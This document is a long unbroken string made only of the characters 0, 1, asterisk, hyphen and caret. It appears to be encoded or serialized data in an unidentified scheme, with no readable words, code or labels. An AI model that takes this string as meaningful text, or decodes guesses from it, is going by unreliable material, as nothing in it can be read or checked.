01101*0011011******11011*0-1101*****01011*001*01*****00^11*^-01*****010-*-1011*****00-01*01011011*****0101***0101******01*01^101*******1*10101******011**10101******011*^1010-1*****00-**00101*****00-01*101*1*****00^1***01******01*00-1******00^1**011******0^11*1*1011*****010-*0-11******1101*0-*********0010101******0-01*-0-*****00-01*10101******001011*00101101*****0^11*0^^1*****00101***01*******01*00101******011***101*****001101*0-0011******-1*^1011*****00-**1011******00^1*1^-*****0010-*0-011*****00-1*01*0101******01**10-******01*00-11011*****0101**00-1*****001*1*01^1******1*0^1101*******0-**01011****************01011*^10101******011*1101******00-01*10-101*******^^1*1******101*101^1*****0011*1*0010101*****01*01*1^101*****0011*00-11011*****01011*001101101********-1011*****00^1*010-101******011*0101*******^1*-10-*****00101*0110^1******1101*10110101*****01**0-*11*****001**10^11******011**110101******^1*-*******011*01*******001**0-1011*******1*011011******01101*1^101*****00-01*10^-*****00101*011*101******011**^11*****01**01*-1*****0-1**011******001**-10101*****011***1101*****0010-*011*01*****011*1*0^11*****00^11*010-01*****00-*01^-1*****00^1*11*101*****001*1*^-1********10101*******01**0^1******0-*-1011*****00-1*001*01******1**-^1*****00-11**011*******01*0101******001*1*10^1******^1***001*****01^1*001^1*******1*0010-*****001**0-*1*****001*01*1*001*****00-*011011******010101*-1101******11**01*01*****001*^1*0-*****01101*00110-1*****01*0^1011011******1*^1^1******011**-0-1*****0^11*1^11*********-11*******1**-011******011*0^^1*****01101*01*0101********-^1******0-*101*11*****01**001011010101*1*01**11***010-11*^1*01^1*001*******-1*10--*01*01^1*001*******010101010--0-*001^1*001****01*****0--0011*001^1*001****01**001**0--0101*001^1*001****01**0-010^--*1*001^1*001*******0-11010--01011**1****01**0^110^--001101*01^1*********1***-001*1******0110-******^10^-01101***001**001^1^1*********01010^-----^--^1**0-*01*001^1*110110^-1*1*^1*****01**00-1**00^-*001*1*-----^--01011**-*01*001^1*1011*0-11*--------1^-1*-00-01*-----^--^101*00-*01*001^1*^1101**********011*00^1*^1*****01**01010-1*00^-*001*1*********10101*^-001**00--10-1**1*0-----^---*1*0-*01*001^1*1*^1*****01**01*-**1*001*01*1*0011*0-01*--------01^-*-00^1101******-10^-0101*001*010^1*****01**001*-*001*101*01*1*-----^--1101011*0-*01*001^1*0-1**********1*0^-001**00--101101**1*0-----^--00-11*0-*01*001^1*0101101011011*1*^1*****01**00-011**1*001*01*1*0011*010-*001*******1^-010-1^101******0011***101*01********-10110-^1**001*******1^-0110-1010^1*1**--------^10-*-00^1101*****00-010^--1*001*010^--*-11*101*001*1*-----^--01101101*-*01*001^1*01101*-11*********^1*0^-001**00--^-**1*0-----^--*^11*-*01*001^1*^1*0-11*0011**011*--------0^-1*-001011*0-11*-----^--01011011*-*01*001^1*11011**********1*0^-*0-00--01*********101011*00^^110101*^^1^10-11*001****01*****0--01*^11011*0-11*001****01*****0--01011*0-11*001****01*****0--0110101******11011**10^11011010-11*01*010-11*001*******1010-0110-^1**001********-10110-^1**--------0^-1*-00^1*0-11*-----110--01*1*00-*01*001^1*-01*-11*********^1*0^-001**00---101**1*0-----110--001011*00-*01*001^1**11*0011**-*-----110--0-11*00-*01*001^1*1101*0-11*001********-1010-1^11****011**010-01*101********0011*001*001*********--1*001*11**1*101011****011**10-001*10^1101**-^1^^1*-01*001*0101*11011*^1*0-11*01011*011**1*1010101*******01*10-101101*******001*11*1101*0--11**00^1*1101*0011*******01101**101******01**101101**01******01**01*1**0^^11*011**1*101011****011**10-001*10^1101**-^1^^101101101*001*0101*-01*1011*0-11**11*011**1*10^1*******1010-0110-^1**-01*011**1*101011****001***1^1*10^^11*01*11011**00-00-*11**1*0101*01101*011**101*01*******0011**1011*-011*01**--------1^-1*-*0011*-----110--001*11*-*01*001^1*0011*0-11*********^1*0^-001**00---011**1*0-----110--01101011*-*01*001^1*0^1*-11*0011*011011*-----110--1*0-*-*01*001^1*^11*-11*001*******1^-010-110110101******0-*1*101********0010--*001********001^-1*001*11****011**1*-*0101*-**^^^1010^110-*00^^11********************01*001*01*01*******1^-0110-1010^1*1**--------00110-*-00^110101*-0-11*1*^^-*-11*^1*01*1*-----10--101^1*00-*01*001^1*00-*-11*********^1*0^-001**00--101011**1*0-----10--1*-*00-*01*001^1*^110101*0010-11*1*^1*****01**00-1011*00^-*001*1*0011*001011*--------01^-*-00^1101********011*011*00^1*^1********10110101*001*001*01*1*-----10----01*0-*01*001^1*01101**********1*0^-00-110101**00--101101*110101******11011**101******1**0-*1**1******1**0-1101**1*11*******011**00101*1101*-*0010110101**-10101**0^-00110-11*001*******1^-0110-^1**1**00--101101*110101******11011**101********001^1101*001********0011010101*001*11****011**1*-*0101*-**^^^101010-0-*00^-01**********************01*01*01*******1^-0110-^1**--------0^-1*-00-1*0-11*-----10--1101*11*-*01*001^1*1*^1********-1^1*00^-*001*1*********-1*0^-001**00--1^11**1*0-----10--110-011*-*01*001^1**01*-11*0011*0^11*--------0^-1*-*011*0-11*-----10---110-*-*01*001^1*1*^1********^-01*00^-*001*1*********-1*0010-00110101******010-1*0101******11**10^11**1******11**0-001**1*01*******1^-0110-^1**--------^10-*-00^1101********0-00-*00^1*^101101^-11*011*001*1*--------*101*00-*01*001^1*10-**********1*0^-001**00--1*11**1*0--------^-*00-*01*001^1*^1101*****00^1*^11011**1*010^1^1*0-11*101*001*1*0011*00-1*001********-1010-11*1*******1010-0110-^1**01**--------^10-*-00^1101*****00-001101010101**1*010^-110110-11*101*001*1*--------^1011*0-*01*001^1*01011*-11*********^1*0^-001**00--110-**1*0--------110-1*0-*01*001^1*-01*0011*001101******01***11011********001**********001101******1***^101********10-001*****001**0101011******1**-11011********-*11*****001**0^1101****************1**0-10101********0101**********010101*****01**0101^1*****0011**0-11******11**00-11*****001**0-*11*****001**-*1*****0011**^1*******1**10-101*****011**101101********001011011*********1^1******1**0^1101*****011**01*11******1**10-101*****001**1*101*****0011**1101011*****001**0^-********0010-*101*1*1*001*1*001*001^1*1^1*-11*0101*01^1*001*******010101010--0^1*01^1*001****01*****0--*01*01^1*001****01**001**0--0-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1******0010-******001*00101101****01**001^1^1*********010101*0101*-----110--01^101*-*01*001^1**01*-11*-----110---10101*-*01*001^1*0011*0-11*--------0^-1*-001*1*-11*-----110----01*-*01*001^1*^11**********1*0^-001**00--110-**1*0-----110--*01011*-*01*001^1*^1101******^110-1***0^1^^1*****01***0011**0^101*001*1*0011*0-01*--------0^-1*-*1101*-11*-----110--0-0-*-*01*001^1*1*^1********-00-*001*101*01*1*********-1*0^-001**00--101101**1*0-----10--1011**00-*01*001^1*^1101********01^1101*00^1*^1*****01**01*01**01*11*001*1*0011*001011*0101**011010-01*011*******1*01*00101*01*******0110-0110-^1**---------10-*-001*^1*0-0-11*0101*01*1*-----10--1101011*00-*01*001^1*^1101**********-*00^1*^-001010-11*^1*01*1*********0^1*^-001**00--1^11**1*0-----10--1*0101*0-*01*001^1*11011010^11*1*^^-**1*01*1*0011*010-*01010^110101******01^101*101******1***0101**01******1**0^-1**^-*00--------01^-*-00^1101*******110-001**001*010^1*****01***0-**0^-*001*1*-----10---*001*-*01*001^1*^1101******0011*0-0011*001*010^1*****001**^-**0^-*001*1*********10101*^-001**00--^-**1*0-----10--11*0101*-*01*001^1*0-*0-11*0011**-*--------00110-*-00^110^--0-11*1*^11*0010-11*011*001*1*-----10--1^-01*-*01*001^1*0^1*-11*********^1*00-11*1101*011********001*00101*11*00-**01*******0110-0110-^1**--------00110-*-001*^1*****01**01*-**1*11*001*1*-----10--101*-*-*01*001^1*1^1*-11*********^1*0^-001**00---011**1*0-----10--^10-1*-*01*001^1*1011*0-11*0011*011011*1101*00101*******1^1101^-0011*00--------0^-1*-001011*0-11*--------1011**0-*01*001^1*0101*0-11*********^1*0^-001**00--101011**1*0---------11**-*01*001^1*^1101*****001*1010-1101**^1^^1*****01**0-01**00^101*001*1*0011**011*001*******0110-010-1^11*******-11**101*1**--------0^-1*-00-1*0-11*--------*^1*0-*01*001^1*01101**********1*0^-001**00---101**1*0--------^1101*0-*01*001^1*-01*-11*0011*0^11*01^1*11*******10^1*00101*01*******-0-*-1^1**001*******0110-0110-^1**--------0^-1*-00-01*-11*--------10-11*0-*01*001^1*00-**********1*0^-001**00--1*11**1*0--------0-*1*-*01*001^1*1*1*-11*0011*001101***********1*****001**0^^11****************1**01^^1********001*11********10110-*****01**001010-********1101*********0010-1*********0-11********10^101*****01**01^-1*****01**00-011********01^^1*****01**0^^1*****001**0^^1*****001**0010-********0011*1******1**00^1101*****01**00^1101*****01**01*0-*****01**0^101******1**00-011*********01101*********011*101*1*1*001*1*001*001^1*10101*-11*0101*01^1*001*******0-11010--0^1*01^1*001****01**0-010^--*01*01^1*001****01*****0--0-*001^1*001*******010101010--0011*001^1*001****01**001**0--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0^-******01**1*^1***01***1^1^1***********001*00101**0-01101101101101**0010^1***01********001*1*****010101**************************************************************101*00101*10-1*01*1*-1*01^1*^11*00-0110101******001^-1*10^-*00--------1^-1*-00^11*---------^11*-001011*01^1*01011**********1*0^-*11*******************************00101*********01011********************1011*********00101*********-*00101*101011*01*1*1011*01^1**11*********1*001010-01^1*******1^-010-1^11****011**0011*1*101*^11*1*110101^11*1*1*001********************01*01*01*1011*01**--------10101101*-001101*01^1**11*011*******1011**0101*01*******1^-0110-^1**110101*******11**101******11**10-01**1******11**00^11**1***00^1*1101*010^1*01*******0010-0110-^1******************************************001101*********01101*******************0011*00101*101101*01*1*1101*01^1*01101*-----10---*-*-*01*001^1**11**********1**0-00--------1^-1*-*-1*-----10--10110-1*-*01*001^1*0011*0-11*********^1*0^-001**00--1^11**1*0--------*1**0-*01*001^1*^1101*****00^1^10101011**1*010^1*****01**0^^11*00^^1*01*1*0011*0-01*--------1^-1*-0010-*--------10^1*00-*01*001^1*^1101********00^^1*00^1*^^101010-11**1*01*1*********0^1*^-001**00--101101**1*0--------**1*0-*01*001^1*^11*0011*0^11*0101*001101*--------1^-1*-00^11*--------0^101*0-*01*001^1*01011**********1*0^-001**00--1*11**1*0--------11*11*0-*01*001^1*00-*0011**011*--------1011011*0-*01*001^1*1*^1*****01**0-0^1*00^-*001*1******01**0-*^10-00110101******010-1*0101******1**0-0^1*001******1***-101*001*01*******1^-0110-^1**--------1^-1*-*0-*--------00-001*-*01*001^1*1*^11*-0-11*011*001*1*********0011*0^-001**00---101**1*0--------1*1101*-*01*001^1*0101101*011*1*^-010^-11*101*001*1*0011*001101*********1**1********1*1011********0-101********01*1011********01*101********01101011********^-01********0-101*******************1010-********01**1*********01*********0010101********0110101*********-*0101*1*1*001*1*001*001^1*11011*^1*01^1*001*******010101010--*01*01^1*001****01*****0--0-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1*******0-******01**-01***00101***1^11011******001010^-----10--1^-01*-*011*0-1*0-11*-----10--11*0011*-*011*0-01*--------1^-1*-001011*0-11*-----10---1^11*-*011*0^11*********-*00^-001**00--101011*011*00-----10----011*-*011*00101*0-11*0101*0-01*--------1^-1*-*101*0-11*-----10--1*0-1*-*011*011011*********-*00^-001**00--101101*011*00--------***00-*011*001101*0101**011*011*******0^1010-1011*1********0-0110-^1**--------01^-*-00^1101*10^1********010-01*00^^1**10^1********010-01*00^^1*0--------*101*00-*011*010-*********-*00^-001**00---101*011*00--------*-*00-*011*00-*0-11*0101*0^11*011*******10^11*0101*1101*01**--------10110-*-001*^1*****01**01*-**^101*001*1*--------0110101*0-*011*01101*0-11**********1*0^-001**00--1*11*011*00---------0011*0-*011*00-1*0101*001011*110101******-*01*101******11**00110101*001******11**0-^1*001*01*******0^-0110-^1**--------0010-1*-*-1*--------1101*1*-*011*0^1101********00-0-*00^1*^101101*-11*001*001*1*********1*1*^-001**00--1^11*011*00--------10^101*-*011*0^1101*****00-01^-1*1*001*010^1********110^11*00^^1*00101*001101*********10101*********01*001********^-11******************001*-********011011011********01**********1^101********001^101*****01**01**********01*1011********1^101********00^-1********101011******1**01**********0010-01*********01*101*1*01**11**11*0-11*101*001^1*001****01**001**0--*1*001^1*001*******0-11010--01011**1*******010101010--001101*01^1*********1***-001*1******0-011******1**001^11***001***1^1^1****1010^-----10--10-^1*-*011**011*-----10--110^101*-*011*0^1101010101*-11*1*^1********1010^1*00^101*001*1*---------00-*-00^1101******110101010-01**1*010^1*****01***00-1*001*11*001*1*-----10--1^^11*-*011*0^11010101*10-11*1*^^-110-11*101*001*1*********0-*0^-001**00--101011*011*00-----10--1*00-*-*011*00-1*0101*0-01*--------0010-1*-*-1*-----10---110-*-*011*01101*0-11**********1*0^-001**00--101101*011*00--------***00-*011**11*0-11*0101**011*011*******1*1010-1011*1********0-0110-^1**--------1^-1*-*011*0-11*--------00-**-*011*0^1101******1^-1*0011*00^1^^1*****01***001101*00^^1*********01^1*^-001**00---101*011*00--------*-*00-*011*0^1101*110110-11*1*^110^^-11*001*001*1*0101*0^11*011*******10^11*010^-01*01**--------0010-1*-*0-*--------1010101*0-*011*0^1*0-11**********1*0^-001**00--1*11*011*00--------01^11*0-*011*0^1101*****001*1011*11**00^1^^1*01*-11*^1*00101*001011*110101******-*01*101******1**0110-**01******1**00101***1*01*******0^-0110-^1**--------*10-*-00^1101******1*00-0011**0^1^^1*****01**0110^1**^^1*0---------1^1*-*011*00101*0-11**********1*0^-001**00--1^11*011*00--------*01101*-*011*0-1*0-11*0101*001101******01**010101*********101101********0010^101********010-01********1*1011********101101********001101011********001011011********0010101********001*001*****01***1**********1*01*******************0101******001***-*********01*01*********001*101*1*01**11*0^11*011*001^1*001*******010101010--0101*001^1*001****01*****0--*1*001^1*001****01**0-010^--01011**1****01**0^110^--001101*01^1*********1***-001*1******0011011******1**0-*01***01***1^1^1*010101*101****1**01010110-11011*1101^101101*1*******01011*0--******1010-*0011**1*01*******0^-0110-^1**110101******-00101*101********00^1*1*001********0010-011*001*101****1**0010-0-00-0011*******101101^11**--101**001*******0^-0110-^1**001*******0^-010-1^101****1***10110-00-001**011*******-*0-11011*1*******1*-0110-^1**011*******001*0-1101^11*******1011*-00-0011*******0^-0011**--101**001*******1*-0110-^1**001*******1*-010-1^11*******011*0-00-001**********10110^^-*01*******00101*0--0011*******001^10-101^11********110101^-0011********0-0011**--101**001********0-0110-^1**001********0-010-1^11*******110^101^-001**0101******0011*01*0101*1**001*******^-1010-1^11****011**0011*1*101*^11*1*110101^--*1*001*******************0-*001*0^^11*01**001*******0010-010-1^101******0011*0101^-001*****1101*01^1*********1***-********************001011**00101***1^1^1****1010^1**00--101101*1**00--101101*-11010-01*011*******0^11*00101*0101*-11*01101*01^1*********1***-001*1******0101011********00-01***0011***01^1^1******001010^1**00--101101*1**00--101101*-1101010-00--01********00-1011*00^1*01101^^10-1*-11*001****01**0^110^--01^^-11*0-11*001****01**0^110^--0-1*0-11*001****01**0^110^--***01*********1*11****001**11*11*0101******11**0^1**001******11**^-1**1*1101*01^1*********1***-001*1******0101011*********1*01****1**001^1^1****1010^1**00--101101*1**00--101101*-1101***001********001*11****001**11*11*0101*********-^1*001********001010-1*001*1101*01^1*********1***-001*1******0101011********0011*1***011***01^1^1*010101*0-00--010^-00-11*1*01101*^1*****01***-1**01*01*******0-11010--01*^1********-0^1*001*01*******0-11010--********0-0^1*001*01*******0-11010--01**00--101101*1**00--101101*-1101***1*********01*11****001**11*11*0101******01**011011**01******01**10-01**1*1101*01^1*********1***-001*1******0101011*********00^1***-***1^1^1****10101*01*******010-1010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******010-10110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1***********00-*001**010-1*^-***110^11***1********001*1**********0010101*0-0110101******00101*1*0101*1**********-*0010-0--------110110^1*-*11*001^1*11011*01^1*11*******0110101*0101*01*******10^110110-^1**--------^10-*-00^1101********011*-*00^1*^1^1*0-11*-*001*1*--------010-01*-*11*001^1*^11**********1*0^-*11****01**010-001*101******01**010-**01******01**-011**01*101*******00110^--*1*******10^110110-^1**********110^1*******************-011*******************0-011********00110^1********0011*00101*^11*001*1*011*001^1*01011*--------0^101*0-*011*0^11*********-**00-00--------0010-1*-*1101*--------00^11*0-*011*01*^1*****01**0101***01*01*001*1*********0-*0^-001**00---101*011*00--------110-1*0-*011**011*0101*0-01*--------^10-*-00^110101*^1********1010^1*00^^1*01*^10^1010-11*^1*0--------1010^1*-*011*001011*********-*00^-0010-00--01********0-00101*001**01101^^1********-01101*001*01****01**0^110^--01^^1********^11011*001*01****01**0^110^--********0^11011*001*01****01**0^110^--01**00--101101*011*00--------101^11*-*011*001101*0101*001101*********0^101*********0-1********01101101*******************0^101********0^1*********01101101********0^1*********010-11********0^1*0101*1*01**11*011011*001*001^1*001*******0-11010--01011**1****01*****0--0-*001^1*001****01**0-010^--001101*01^1*********1***-001*1*******1011******1**0101*1***-***1^11011*01010^-----10--10-0101*-*011*0^1101*******-11*-1*001*010^1*11010-11*011*001*1*-----10----101*-*011*0^1101*****00101^--***1*010^1^11*011*001*1*--------0010-1*-*0011*-----10--110101011*-*011*0^1101*****00101^11010-**0^1^^1*****01**011***001*01*001*1*********00101*^-001**00--1^11*011*00-----10--10^-1*-*011**11*0-11*0101*0-01*--------1^-1*-*011*0-11*--------11***-*011*0^1101******0011*010^11*001*010^1*****001**^-**0^^1*********01^1*^-001**00--101101*011*00---------11**-*011*01101*0-11*0101**011*--------1^-1*-00^1*0-11*--------*011*00-*011*0^1101********01*0101*00^1*^1*****01**01^^1*00^101*001*1*********00101*^-*11****01**010-001*10^--00-11*0^1^-11*0101*******00110^--*1*******10^110110-^1**---------00-*-00^1101*****00110-*01*11*00^1^^1*****01**0010-**01*01*001*1*--------*0-*0-*011*011011*********-*00^-001**00---101*011*00--------**01*-*011*0^1101*****00-0^-0-1**1*010^110110110-11*^1*00101*0^11*01^1*11*******0110101*0101*01*******10^110110-^1**--------0010-1*-*1011*--------00^101*-*011*00101*0-11**********1*0^-001**00--1*11*011*00--------10101101*-*011**011*0101*001101*******************001010^1********001^11********-1^1*********001******1***001*********^1*********00-11*********1*011********1*011********00-11*********01101********00--11********--11********-10-********-1*0101*1*01**11*00-*0-11*011*001^1*001*******-1*10--0101*001^1*001****01**001**0--*1*001^1*001****01**0^110^--01011**1*******010101010--001101*01^1*********1***-001*1******01*******001***0-1***101***1^1^1*1*******0010101*011*001**0-0-1^^-**00-01************001*1**001010^--------10-101*-*011*01^1*1*^-010^-11*1011*01*1*-----10---10-10-11*101*0-11*011*00--------1*1011*-*011*01^1*^11*0101**011010-01*011**********011*********************001*********011*********************001*******************0-*00101*1*11*01*1*0011*01^1**11***********0010-01101^1*********11*0010-011********1*101010-0---------^-1*-0010-*--------010^1*0-*101*01^1**11**********1*0^-*11****01**010-001*101******11**1011*1*001******11****01*001*101*******00110^--*1*******10^110110-^1**--------1*-*0-*101*01^1*11011*001*******10^11010-1^11*******0010101*0101*1101**1**1*******00^110110-^1**1011*0-11*01**0011*0011*******-0101*010^-*00--------1010^1*-*101*01^1*^1101******01^-0101101*001*010^11*0010-11*011*001*1*1101*0110101******-1011*0101******01**^11011*001******01**10^101*00^110101******-0101*0101******11***10101*001******11**0-0-*001*11****01***00-1*101******1**001*101*001******1**0-00-*001*******************00110^1********1*^1********00^11**********01*******************1*^1*****************************0^1*0101*^101*01*1*0101*01^1*01101*-----10--1*-11*-00101*001^1*^1101*****001*101010-001*001*010^1*****01**0110-1**^-*001*1*********10101**-00--------0^-1*-00^1*0-11*--------^11**-00101*001^1*01101**********1*0^-001**00--1^11*^1*0--------010101*00-00101*001^1*^110101*^-1*10-11**1*01*1*1*^10^1010-11**1*01*1*1011*0-01*--------01^-*-00^1101*****00--*010^1*001*010^1********00-001*00^-*001*1*--------1*101*0-00101*001^1*^1101******101*11*01**01*010^110-010-11*011*001*1*********0^1*^-001**00--101101*^1*0--------0011011*0-00101*001^1*0-1*1011*0^11******01**0--1*0-00--------1^-1*-*-1*--------1**1*-00101*001^1*10-**********1*0^-001**00--1*11*^1*0--------0^^1*-00101*001^1*01011*1011**011*0101*001101*--------1^-1*-*1011*--------00^101*-00101*001^1*1011*0-11*********^1*0^-001**00---101*^1*0--------01101101*-00101*001^1*^1*0-11*1011*001101*********11*1********00-10101********110^1********0011*1*********101101********1010101********0011*1********0110^1********01101*********0-101********0011*001******************00-0^1********-10101********0-*0101*10101*001*1*101*001^1**11**1*01^1*001****01*****0--0-*001^1*001*******010101010--0011*001^1*001*******-1*10--01011*01^1*001****01**001**0--001101*01^1*********1***-001*1******01^11******01**001*1***011***1^11011******0010101*11*******1010101*010^101**01*0011**0101*******00110^--0------0--0^101*-00101*001^1*1*1*-11*------0-110-0101*-00101*001^1**01*-11*1010--0101*1*^-11*------0--10-01*-00101*001^1*^1101011011010-11*1*^1********010-01*00^1101*01*1*0^1*00110^1**00--^11*0-11*^1*0------0-1^101011*-00101*001^1*00101*-11*1011*0-01*^10-11010^^1101*****00-01**1101**1*010^1********1101^1*00^^1*01*1*------0---0-*-00101*001^1*^1101*****00-001010-***^1^^1*****01***-001*00^-*001*1*10101*00110^1**00--101101*^1*0-----^--0101**0-00101*001^1*1101*0-11*1011*001011*^^-1010^^1101*******10^1101011*00^1^^1*****01**001*1**0^-*001*1*^110-1010^-01*-11*10-0-1010^^1101*****00-01*00-01**1*010^1********1101^1*00^^1*01*1*10110-110101**1*-11*1*--010^11011*-11*1010--010^-01*-11*-----^--101*1*0-00101*001^1*0-1**********101*********0^1*********0101**********01*********0011**********01*********0011*00101*10^1101*****001******001*001*010110-11010^^1101******101*010101**001*010^-011*^1*01*1*-----^--10-11*0-00101*001^1*01101*-11*^1**110^1**00--1^11*^1*0-----^--0011*1*-00101*001^1*-1*0-11*1011*010-*0101*001*******0-01*10^10-0101******01***101******11***11**001******11**-1101**1*11*****1**101**0101*1*******0-01**0101^1****001**0011*00--0101*00^10-11010^^1101********010101101*00^1*^1*****01**011011011*001*11*001*1*-----^--001^11*-00101*001^1*^110^1*110-11*1*^-011*-11*1101*01*1*-1**110^1**00--^-*^1*0-----^--1*0-*-00101*001^1*^1101********00-0011*00^1*^1^-10-11*0101*01*1*1011**11*0-11*011*******10-010-1011*1*******01^110110-101**00^1*001*******11*110110-^1**1010--010^10101*-11*-----110--0011**0-00101*001^1*^1101*10-0-11*1*^1*-10-11*0101*01*1*-1**110^1**00---01*0-11*^1*0-----110--01*1*00-00101*001^1*^1101*****0010^-1^1**00^1^^1*****01****1**0^-*001*1*1011*0^1*0-11*-----110--010-*00-00101*001^1*^1101******10-11010^1**1*010^1********1101*1*001*001*01*1*1010--0101*101*0-11*-----110--1^101*0-00101*001^1*^1101********01*^1*00^1*^1*****01***001**001*011*01*1*10101*00110^1**00--10-1*^1*0-----110--0-011*0-00101*001^1**11*1011*00-1*011*******^11010-1011*1*******01^110110-1***0^1*001*******01*110110-^1**0110--0101*0011*-----110--1011*1*-00101*001^1*-01**1**1101*0-00--01*********0-11*00^^1101011**1*^11010-0-11*001****01**001**0--01010-0-11*001****01**001**0--01**00--110-*^1*0-----110--1^1101*-00101*001^1*1*^-110110-11*1101*01*1*1011*0^11*0011*0011****011**--01*101******01**0010-**1******01**1*1**001*1**-1*0^10-11010^^1101********0--01*00^1*^1********00-101*001*11*001*1*-----110--11*-*-00101*001^1*0-1*-11*^1**110^1**00--1*11*^1*0-----110--0^-1*-00101*001^1*^1101******01011*0101011*001*010^1*********10101*00^^1*01*1*1011*011011*-----10--1^1**0-00101*001^1**01*-11*0^--010^1*^^1*10-11*0011*01*1*-----10--1^11**-00101*001^1*10^^-11*^1**110^1**00--101011*^1*0-----10--1*101*00-00101*001^1*^1101*-110-11*1*^1********010-01*00^1101*01*1*1011**-*1010--0101**1*-11*-----10--1**1*0-00101*001^1*1011*0-11*^1**1101*01*******01*110110-^1**-10-11010^^1101*-^-11*1*^-1^10-11*0101*01*1*-----10---01101*0-00101*001^1*^1101******^^^11011**1*010^--110-11*^1*01*1*0^1*00110^1**00---011*^1*0-----10---00-*0-00101*001^1*1*0^-11*1011*00101*0-11*^10-11010^^1101******1*10-11***1*010^1********0011*1*00^^1*01*1*-----10---11*1*-00101*001^1**00^-11*^1**1101*01*******11*110110-^1**^10-11010^^1101*****00---0101011*001*010^1*****01**00--1*001*001*01*1*-----10--1*01101*-00101*001^1*^1101******11*^1101**00^1^^1*****01**0-0-**^-*001*1*10101*00110^1**00--1^1*0-11*^1*0-----10--^1^11*-00101*001^1*01011*-11*1011*01101*0-11*1101*001*******0-01*10^10-0101******01***101******11**101*11*001******11**01*001*001*11*****1**101**0101*1*******0-01**0101^1****001**0011*00--0101*001010--0101*1011*-11*--------1***0-00101*001^1*^1101*****0011*0010-*1*00^1^^101*110-11*-*001*1*0^1*00110^1**00--10101*0-11*^1*0--------01011**-00101*001^1*1*^--*-11*011*001*1*1011**011*1010--0101**1*-11*--------001101*00-00101*001^1*11*^-11*^1*00^11*1101*11**0110--0101*1101*--------00-1*00-00101*001^1*10-**1**110^1**00---101*^1*0--------010^1*0-00101*001^1*^1101********00^1011*00^1*^1*****01**011*01**1*11*001*1*1011*001101******01**0-^1*****0011**01010101********^-******11**1^1101********0-0-********01*-*****01****101*****01**00-*1********00^11******1**0^1*********1*0011********1010^1*****011**01*001*****01**0^-******1***001******001***0-1*****001****01*****011**1011*1*****01***01101********00-0-********-01******011**00-101*****001**10101011****************1**010^1******01**^1101*****0011**-0101******1**--******1**0-1011*****0011**001^1*********0101******01**10^101*****001**-001******1**00-0101*****01**0^-******1**01^-1*****01**0-01011********-*1********001^^101*10101*001*1*101*001^1*0-*0-11*0011*01^1*001****01**001**0--01101*01^1*001****01*****0--00101*01^1*001****01**0-010^--0^1*01^1*001*******-1*10--*01*01^1*001*******010101010--0-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--001101*01^1*1**11010^1*1******00^11******001**1*101***11***1^1^1******001010^-----10--^11**0-00101*001^1*^1101*********-001*00^1*^1********0110^1*00^^1*01*1*-----10--11*01*00-00101*001^1*00-*---------10-*-001*^-01*0-11*011*001*1*-----10---0011*00-00101*001^1*^11**********1*0^-001**00--^-*^1*0-----10--^1*1*0-00101*001^1*0101*0-11*1011*0-01*--------00110-*-00^110^^-0-11*1*^1*01*-11*0101*01*1*-----10--^-01*0-00101*001^1*1*^101101010-11*^1*01*1*********0011*0^-001**00--101101*^1*0-----10--11*-*0-00101*001^1*0^1*-11*1011*011011*0101*0110101******0^1011*10^-**001**1*******11*11*-1^1**--------11*-*-00^110101*^1********1^^1*00^^1*01*1*1*^1*****01**0101*11*00^^1*01*1*-----10--1*00101*-00101*001^1*110110^1011*1*^-010^-11**1*01*1*********0-*0^-001**00--101011*^1*0-----10---101101*-00101*001^1*10-*1011*0^11*1101*0011*00--------1^-1*-0010-*-----10--1^^11*-00101*001^1*^11010^11*-11*1*^1*****01**01*001**^^1*01*1*********0^1*^-001**00--1*11*^1*0-----10--^^-*-00101*001^1**01*-11*1011*001011*0011*001*******010101*0010-0110101******110^1*010^10^110-11*10101*-11*11**-*00--------01010-*-*10110^-1*1*^1*****01**00-011**1*001*01*1*---------1**0-00101*001^1*0011*0-11*********^1*0^-001**00--1^11*^1*0--------1*01*00-00101*001^1*^1101*^^-11*1*^1********01*101*001*001*01*1*1011**011*0101**1*******11*110110-^1**--------1^-1*-0011011*--------01*01*0-00101*001^1*^1101******01*-11011**01*010^-*010-11*-*001*1*********0^1*^-001**00---101*^1*0--------10-01*0-00101*001^1**11*1011**-*--------1^-1*-*-1*--------1011011*0-00101*001^1*0-*0-11*********^1***010-**11*00--------1^-1*-*0011*--------11*001*-00101*001^1*11011010^11*1*^110-*-11*011*001*1*********0-*0^-001**00---011*^1*0--------0101^1*-00101*001^1*1^1*-11*1011*001101*********10^101*****01***1*01*****01***1011******1**0^1^1********1*0011********^1011********00-11*********00101********0010^101********1101******001**01*011*****001**00110101********001*-********0-0-*****01**0^1^1********001*01****************1***-11*********0^1*****001**011011******01***1011********0010101*101*10101*001*1*101*001^1*01011*0101*01^1*001****01**0-010^--0^1*01^1*001*******0-11010--*01*01^1*001****01**001**0--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--001101*01^1*********1***-001*1******01*11******01**01*1***0101***1^1^1******001010^-----10--^-**-00101*001^1*^1101******10^11011***01*010^1********-10101*001*101*01*1*-----10--11*11*00-00101*001^1*10-*--------1^-1*-*1011*-----10----1*00-00101*001^1*0^1*-11*********^1*0^-001**00--^-*^1*0-----10--11*101*0-00101*001^1*01101*1011*0-01*---------10-*-001*^--*-11*011*001*1*-----10--110^11*0-00101*001^1*1*^11*0110-11*^1*01*1*********0011*0^-001**00--101101*^1*0-----10--1010-1*0-00101*001^1*^1101*****00^-0011*11**1*010^-101*-11*0101*01*1*1011*0^11*1101*0011*00--------1^-1*-0011011*-----10--10110^1*-00101*001^1*1101101010-*1*^-1*10-11*^1*01*1*********0-*0^-001**00--1*11*^1*0-----10--110110101*-00101*001^1*00101*-11*1011**-*--------^10-*-00^1101*****00^-1010^1**0^1^^1^11010-11*-*001*1*-----10--1*^11*-00101*001^1*0101*0-11*********^1***010-**11*00--------01^-*-00^1101******1*0-110^1*001*010^1********110-11*001*001*01*1*-----10---010-*-00101*001^1*0-1**********1*0^-001**00---011*^1*0-----10--^--*-00101*001^1*1101*0-11*1011*011011*0101*0110101******0^1011*10^-**001**1*******11*11*-1^1**--------0^-1*-001101*0-11*--------00-**-00101*001^1*1011*0-11*********^1*0^-001**00--101011*^1*0--------0-01*00-00101*001^1**01*-11*1011*001011*0011*001*******010101*0010-0110101*******^1